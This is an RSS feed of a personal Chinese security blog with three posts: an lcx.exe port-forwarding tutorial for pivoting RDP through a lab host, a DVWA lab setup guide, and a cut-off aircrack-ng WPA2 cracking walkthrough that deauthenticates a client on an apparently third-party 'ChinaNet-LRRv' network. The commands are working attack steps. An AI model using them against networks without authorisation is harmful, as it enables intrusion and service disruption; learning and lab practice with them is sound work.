<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>李 璇</title>
    <description>Whatever is worth doing at all is worth doing well</description>
    <link>http://leexuan.github.io/</link>
    <atom:link href="http://leexuan.github.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Mon, 31 Aug 2020 15:53:05 +0000</pubDate>
    <lastBuildDate>Mon, 31 Aug 2020 15:53:05 +0000</lastBuildDate>
    <generator>Jekyll v3.9.0</generator>
    
      <item>
        <title>lcx.exe端口转发工具使用</title>
        <description>&lt;p&gt;Lcx是一款端口转发工具,可以将内网机器的端口映射到带公网IP的机器上。一般进行渗透的时候,通过web漏洞getshell之后,需要对其进行远程登录,这就需要用到端口映射。&lt;/p&gt;

&lt;h3 id=&quot;环境介绍&quot;&gt;环境介绍&lt;/h3&gt;

&lt;p&gt;Win7：192.168.10.10&lt;/p&gt;

&lt;p&gt;Win10：192.168.10.30&lt;/p&gt;

&lt;p&gt;Kali：192.168.10.20&lt;/p&gt;

&lt;h3 id=&quot;正向端口转发&quot;&gt;正向端口转发&lt;/h3&gt;

&lt;p&gt;终端上执行lcx命令，让本机指定端口的流量全部转发到远程主机指定IP指定端口上。然后通过本地指定端口，访问远程主机指定端口。&lt;/p&gt;

&lt;p&gt;192.168.10.30主机上执行下列命令，将其1234端口流量全部转发到主机192.168.10.10的3389端口&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# lcx.exe -tran LocalPort RemoteHost RemotePOrt 
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lcx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exe&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tran&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1234&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;192.168&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;10.10&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3389&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;192.168.10.30通过1234端口远程桌面登录192.168.10.10主机。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-08-31-lcx.exe使用介绍.assets/image-20200831231211741.png&quot; alt=&quot;image-20200831231211741&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;反向端口转发&quot;&gt;反向端口转发&lt;/h3&gt;

&lt;p&gt;kali机以Win7主机为跳板远程登录Win10主机&lt;/p&gt;

&lt;p&gt;1）将外网服务器Win7上的9000端口流量转发到该机的9001端口，Win7上执行：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#lcx.exe -listen SourcePort  TargetPort
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lcx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exe&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;listen&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9000&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9001&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-08-31-lcx.exe使用介绍.assets/image-20200831232955074.png&quot; alt=&quot;image-20200831232955074&quot; /&gt;&lt;/p&gt;

&lt;p&gt;2）将被控服务器Win10主机流量转发到外网服务器Win7，Win10上执行：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# lcx.exe -slave RemoteHost RemotePort LocalHost LocalPort
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lcx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exe&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;slave&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;192.168&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;10.10&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9000&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;127.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3389&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-08-31-lcx.exe使用介绍.assets/image-20200831233649504.png&quot; alt=&quot;image-20200831233649504&quot; /&gt;&lt;/p&gt;

&lt;p&gt;3）kali攻击机通过远程访问外网服务器Win7的9000端口，远程登录Win10主机，kali上执行：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# rdesktop host:port
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rdesktop&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;192.168&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;10.10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9001&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-08-31-lcx.exe使用介绍.assets/image-20200831233051609.png&quot; alt=&quot;image-20200831233051609&quot; /&gt;&lt;/p&gt;

&lt;p&gt;执行命令弹出远程登录框，输入账号和密码，即可完成对Win10的远程登录：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-08-31-lcx.exe使用介绍.assets/image-20200831233220029.png&quot; alt=&quot;image-20200831233220029&quot; style=&quot;zoom:50%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;这样，攻击机kali在没有无法访问靶机Win10的情况下，通过端口转发和二者共同可以访问的外网主机Win7，远程登录靶机。&lt;/p&gt;

&lt;h3 id=&quot;备注&quot;&gt;备注&lt;/h3&gt;

&lt;p&gt;在执行lcx.exe命令过程中，注意打印的提示内容，显示端口网络连接情况&lt;/p&gt;
</description>
        <pubDate>Mon, 31 Aug 2020 00:00:00 +0000</pubDate>
        <link>http://leexuan.github.io/2020/08/lcx.exe%E4%BD%BF%E7%94%A8%E4%BB%8B%E7%BB%8D/</link>
        <guid isPermaLink="true">http://leexuan.github.io/2020/08/lcx.exe%E4%BD%BF%E7%94%A8%E4%BB%8B%E7%BB%8D/</guid>
        
        <category>网络安全</category>
        
        
      </item>
    
      <item>
        <title>利用phpStudy搭建DVWA漏洞测试环境</title>
        <description>&lt;p&gt;本文讲述如何利用&lt;strong&gt;phpStudy&lt;/strong&gt;配合&lt;strong&gt;DVWA&lt;/strong&gt;搭建漏洞测试环境&lt;/p&gt;

&lt;h3 id=&quot;phpstudy简介&quot;&gt;phpStudy简介&lt;/h3&gt;

&lt;p&gt;phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer，一次性安装，无须配置即可使用，是非常方便、好用的PHP调试环境。该程序不仅包括PHP调试环境，还包括了开发工具、开发手册等。其中，8.1.0.6版本的主界面如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712211940890.png&quot; alt=&quot;image-20200712211940890&quot; style=&quot;zoom:80%;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;dvwa简介&quot;&gt;DVWA简介&lt;/h3&gt;

&lt;p&gt;DVWA（Damn Vulnerable Web App）是一个基于PHP/MySql搭建的Web应用程序，旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境，帮助Web开发者更好的理解Web应用安全防范的过程。DVWA一共包含Bruce Force、Command Injection、CSRF等安全测试模块。官方下载地址：&lt;a href=&quot;http://www.dvwa.co.uk/&quot;&gt;http://www.dvwa.co.uk/&lt;/a&gt;。其主界面如图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712212413737.png&quot; alt=&quot;image-20200712212413737&quot; style=&quot;zoom:80%;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;phpstudy下载安装&quot;&gt;phpStudy下载安装&lt;/h3&gt;

&lt;p&gt;下载地址&lt;a href=&quot;https://www.xp.cn/&quot;&gt;https://www.xp.cn/&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;下载Windows版本phpStudy工具，解压并运行&lt;em&gt;phpstudy_x64_8.1.0.6.exe&lt;/em&gt;可执行文件。安装完毕之后，会在磁盘上创建phpstudy_pro文件目录：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712213141180.png&quot; alt=&quot;image-20200712213141180&quot; /&gt;&lt;/p&gt;

&lt;p&gt;运行&lt;strong&gt;phpstudy_pro&lt;/strong&gt;启动文件，即可运行phpStudy，通过打开各种套件，即可模拟各类环境。比如开启Apache、MySQL套件，即可模拟Apache和MySQL环境。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712211940890.png&quot; alt=&quot;image-20200712211940890&quot; style=&quot;zoom:80%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;strong&gt;数据库&lt;/strong&gt;导航栏中，记录了数据库的参数信息。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712213722676.png&quot; alt=&quot;image-20200712213722676&quot; /&gt;&lt;/p&gt;

&lt;p&gt;通过url访问：http://localhost:0/，出现如下界面&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712214022426.png&quot; alt=&quot;image-20200712214022426&quot; /&gt;&lt;/p&gt;

&lt;p&gt;访问url中端口为0，是因为phpStudy系统设置中端口默认为0。&lt;/p&gt;

&lt;h3 id=&quot;dvwa下载与安装&quot;&gt;DVWA下载与安装&lt;/h3&gt;

&lt;p&gt;下载地址：&lt;a href=&quot;http://www.dvwa.co.uk/&quot;&gt;http://www.dvwa.co.uk/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;github项目：&lt;a href=&quot;https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2Fethicalhack3r%2FDVWA&quot;&gt;https://github.com/ethicalhack3r/DVWA&lt;/a&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;![img](https://upload-images.jianshu.io/upload_images/4866277-5d6e2c5d3408702f.png?imageMogr2/auto-orient/strip&lt;/td&gt;
      &lt;td&gt;imageView2/2/w/982/format/webp)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;下载后从压缩包&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DVWA-mater.zip&lt;/code&gt;解压出的文件夹名字是&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DVWA-master&lt;/code&gt;，为了方便url输入访问，可以把此名字修改为&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dvwa&lt;/code&gt;，然后把它存放到phpStudy的网站目录之下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712214222473.png&quot; alt=&quot;image-20200712214222473&quot; /&gt;&lt;/p&gt;

&lt;p&gt;通过url链接 &lt;a href=&quot;https://links.jianshu.com/go?to=http%3A%2F%2Flocalhost%3A801%2Fdvwa%2F&quot;&gt;http://localhost:0/dvwa/&lt;/a&gt; 测试访问dvwa站点，发现系统出现异常提示信息&lt;strong&gt;“DVWA System error - config file not found. Copy config/config.inc.php.dist to config/config.inc.php and configure to your environment.”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712214430072.png&quot; alt=&quot;image-20200712214430072&quot; /&gt;&lt;/p&gt;

&lt;p&gt;修改：把&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.inc.php.dist&lt;/code&gt;文件的后缀&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.dist&lt;/code&gt;去掉，就变成&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.inc.php&lt;/code&gt;文件。再次访问： &lt;a href=&quot;https://links.jianshu.com/go?to=http%3A%2F%2Flocalhost%3A801%2Fdvwa%2F&quot;&gt;http://localhost:0/dvwa/&lt;/a&gt;，&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712214834161.png&quot; alt=&quot;image-20200712214834161&quot; style=&quot;zoom:80%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;这里记录了初始的DVWA登录用户名和密码：admin/password。点击：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Create/Reset Database&lt;/code&gt;，出现如下错误：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712215022409.png&quot; alt=&quot;image-20200712215022409&quot; style=&quot;zoom:80%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;分析：是MySQL服务器连接不上。检查&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.inc.php&lt;/code&gt;配置文件配置是否正确。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712215235976.png&quot; alt=&quot;image-20200712215235976&quot; style=&quot;zoom:80%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;配置文件&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.inc.php&lt;/code&gt;中MySQL的用户名和密码都需要与上述安装phpStudy时所设置的Mysql账户密码不一致。这里修改&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.inc.php&lt;/code&gt;配置文件中MySQL用户名和密码都为&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt;，具体根据每个人不同设置的情况进行修改。&lt;/p&gt;

&lt;p&gt;保存修改之后，再次刷新点击&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Create/Reset Database&lt;/code&gt;，出现如下界面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/4866277-280ff87c021df3e1.png?imageMogr2/auto-orient/strip|imageView2/2/w/378/format/webp&quot; alt=&quot;img&quot; style=&quot;zoom:80%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;系统提示users表和guestbook表已经创建ok，数据导入ok，即DVWA环境安装成功。然后会自动跳转到DVWA的登录界面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712215638879.png&quot; alt=&quot;image-20200712215638879&quot; style=&quot;zoom:80%;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;访问dvwa&quot;&gt;访问DVWA&lt;/h3&gt;

&lt;p&gt;此时，需要从安装DVWA的页面上所提示的账户密码（admin // password）用来登录DVWA。登录成功界面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-07-12-phpStudy+DVWA.assets/image-20200712215959197.png&quot; alt=&quot;image-20200712215959197&quot; /&gt;&lt;/p&gt;

&lt;p&gt;左侧导航栏上：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Brute Force&lt;/code&gt; ~ &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JavaScript&lt;/code&gt; 列出了测试用的&lt;strong&gt;Web&lt;/strong&gt;安全漏洞类型。通过&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DVWA Security&lt;/code&gt;按钮可设置（Impossible、High、Medium、Low）漏洞安全等级进行测试。&lt;/p&gt;
</description>
        <pubDate>Sun, 12 Jul 2020 00:00:00 +0000</pubDate>
        <link>http://leexuan.github.io/2020/07/phpStudy+DVWA/</link>
        <guid isPermaLink="true">http://leexuan.github.io/2020/07/phpStudy+DVWA/</guid>
        
        <category>网络安全</category>
        
        
      </item>
    
      <item>
        <title>利用kali破解WIFI密码</title>
        <description>&lt;p&gt;本文讲述如何利用&lt;strong&gt;kali&lt;/strong&gt;机 &lt;strong&gt;aircrack-ng&lt;/strong&gt;相关命令，抓取&lt;strong&gt;wifi&lt;/strong&gt;连接握手包。然后结合密码字典，破解wifi账号密码。&lt;/p&gt;

&lt;h3 id=&quot;aircrack-ng简介&quot;&gt;aircrack-ng简介&lt;/h3&gt;

&lt;p&gt;Aircrack-ng是一个与802.11标准的无线网络分析有关的安全软件，主要功能有：网络侦测，数据包嗅探，WEP和WPA/WPA2-PSK破解。Aircrack-ng可以工作在任何支持监听模式的无线网卡上（设备列表请参阅其官方网站）并嗅探802.11a，802.11b，802.11g的数据。&lt;/p&gt;

&lt;h3 id=&quot;工具准备&quot;&gt;工具准备&lt;/h3&gt;

&lt;p&gt;kali攻击机、USB无线网卡，如Ralink 802.11n。&lt;/p&gt;

&lt;h3 id=&quot;wifi破解过程&quot;&gt;WIFI破解过程&lt;/h3&gt;

&lt;p&gt;整个wifi破解过程，包括三个步骤：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;WIFI信息收集&lt;/li&gt;
  &lt;li&gt;WIFI连接握手包抓取&lt;/li&gt;
  &lt;li&gt;利用密码字典暴力跑包&lt;/li&gt;
&lt;/ol&gt;

&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;graph LR
one[WIFI信息收集]
two[WIFI握手包抓取]
three[暴力跑包]
one --&amp;gt; two
two --&amp;gt; three
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;wifi信息收集&quot;&gt;WIFI信息收集&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;使用命令列举网卡信息，查找无线网卡名称：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;airmon-ng&lt;/code&gt;&lt;/p&gt;

    &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kali&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# airmon-ng
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;&lt;img src=&quot;/images/posts/2020-06-26-Kali+Airmon+WiFi破解.assets/image-20200627114604026.png&quot; alt=&quot;image-20200627114604026&quot; /&gt;&lt;/p&gt;

    &lt;p&gt;发现无线网卡&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wlan0&lt;/code&gt;。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;开启无线网卡监听模式：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;airmon-ng start &amp;lt;无线网卡名称&amp;gt;&lt;/code&gt;&lt;/p&gt;

    &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kali&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# airmon-ng start wlan0
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;&lt;img src=&quot;/images/posts/2020-06-26-Kali+Airmon+WiFi破解.assets/image-20200627114757107.png&quot; alt=&quot;image-20200627114757107&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;查看无线网卡监听模式是否打开：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iwconfig&lt;/code&gt;&lt;/p&gt;

    &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kali&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# iwconfig
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-06-26-Kali+Airmon+WiFi破解.assets/image-20200627114835453.png&quot; alt=&quot;image-20200627114835453&quot; /&gt;&lt;/p&gt;

&lt;p&gt;无线网卡&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wlan0&lt;/code&gt;处于监听模式，名称为&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wlan0mon&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;扫描附件wifi热点信息：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;airodump-ng &amp;lt;处于监听模式的网卡名称&amp;gt;&lt;/code&gt;&lt;/p&gt;

    &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kali&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# airodump-ng wlan0mon
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;&lt;img src=&quot;/images/posts/2020-06-26-Kali+Airmon+WiFi破解.assets/image-20200627121014720.png&quot; alt=&quot;image-20200627121014720&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;输出的两个列表不停的刷新显示。第一个列表表示扫描到的无线网络 AP 信息：&lt;strong&gt;BSSID&lt;/strong&gt;: 无线 AP 的硬件地址；&lt;strong&gt;PWR&lt;/strong&gt;: 信号强度，值是负数，绝对值越小表示信号越强；&lt;strong&gt;Beacons&lt;/strong&gt;：无线AP发出的通告编号；&lt;strong&gt;#Data&lt;/strong&gt;：被捕获到的数据分组的数量（一般数据量越大，抓取握手包更容易）；&lt;strong&gt;#/s&lt;/strong&gt;：过去10秒钟内每秒捕获数据分组的数量；&lt;strong&gt;MB&lt;/strong&gt;：无线AP所支持的最大速率；&lt;strong&gt;CH&lt;/strong&gt;: 无线网络信道；&lt;strong&gt;ENC&lt;/strong&gt;: 加密方式，要破解的是 WPA2；&lt;strong&gt;CIPHER&lt;/strong&gt;：加密算法；
&lt;strong&gt;AUTH&lt;/strong&gt;：使用的认证协议；&lt;strong&gt;ESSID&lt;/strong&gt;: 无线网络的名称。第二个列表表示某个无线网络中和用户设备的连接信息：&lt;strong&gt;BSSID&lt;/strong&gt;: 无线 AP 的硬件地址；&lt;strong&gt;STATION&lt;/strong&gt;: 用户设备的硬件地址。&lt;/p&gt;

&lt;p&gt;通过扫描结果发现存在wifi信号&lt;strong&gt;ChinaNet-LRRv&lt;/strong&gt;，其硬件地址为&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80:xx:xx:xx:xx:28&lt;/code&gt;。并且存在客户端连接至该wifi，该客户端硬件地址为&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;18:yy:yy:yy:yy:28&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&quot;握手包抓取&quot;&gt;握手包抓取&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;抓取握手包：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;airodump-ng -c &amp;lt;CH&amp;gt; --bssid &amp;lt;BSSID&amp;gt; -w &amp;lt;要保存握手包的目录&amp;gt; &amp;lt;处于监听模式的网卡名称&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kali&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# airodump-ng -c 1 --bssid 80:xx:xx:xx:xx:28 -w /home/ChinaNet-LRRv wlan0mon
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;抓包界面如下图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-06-26-Kali+Airmon+WiFi破解.assets/image-20200627122939950.png&quot; alt=&quot;image-20200627122939950&quot; /&gt;&lt;/p&gt;

&lt;p&gt;要抓握手包，需要客户端在wifi重新认证连接的情况下才能抓到。可使用下列命令让客户端下线，以便客户端重新连接。&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;发送反认证包，让客户端下线。客户端重新连接，便于抓取握手包：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aireplay-ng -0 &amp;lt;发送反认证包的个数&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;强制下线的MAC地址（STATION下面的地址）&amp;gt; 无线网卡名称&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;-0&lt;/strong&gt;：采用Deauth攻击模式，后面紧跟攻击次数，这里设置为20，大家可以根据实际情况设置；&lt;strong&gt;-a&lt;/strong&gt;：后面跟AP的mac地址；&lt;strong&gt;-c&lt;/strong&gt;：后面跟客户端的mac地址。&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kali&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# aireplay-ng -0 20 -a 80:xx:xx:xx:xx:28 -c 18:yy:yy:yy:yy:40 wlan0mon
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-06-26-Kali+Airmon+WiFi破解.assets/image-20200627123413452.png&quot; alt=&quot;image-20200627123413452&quot; /&gt;&lt;/p&gt;

&lt;p&gt;如此，&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;18:yy:yy:yy:yy:40&lt;/code&gt;被强制下线。&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;当客户端再次连接wifi时，抓取&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80:xx:xx:xx:xx:28&lt;/code&gt; 与 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;18:yy:yy:yy:yy:40&lt;/code&gt;间连接的握手包：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-06-26-Kali+Airmon+WiFi破解.assets/image-20200627123657326.png&quot; alt=&quot;image-20200627123657326&quot; /&gt;&lt;/p&gt;

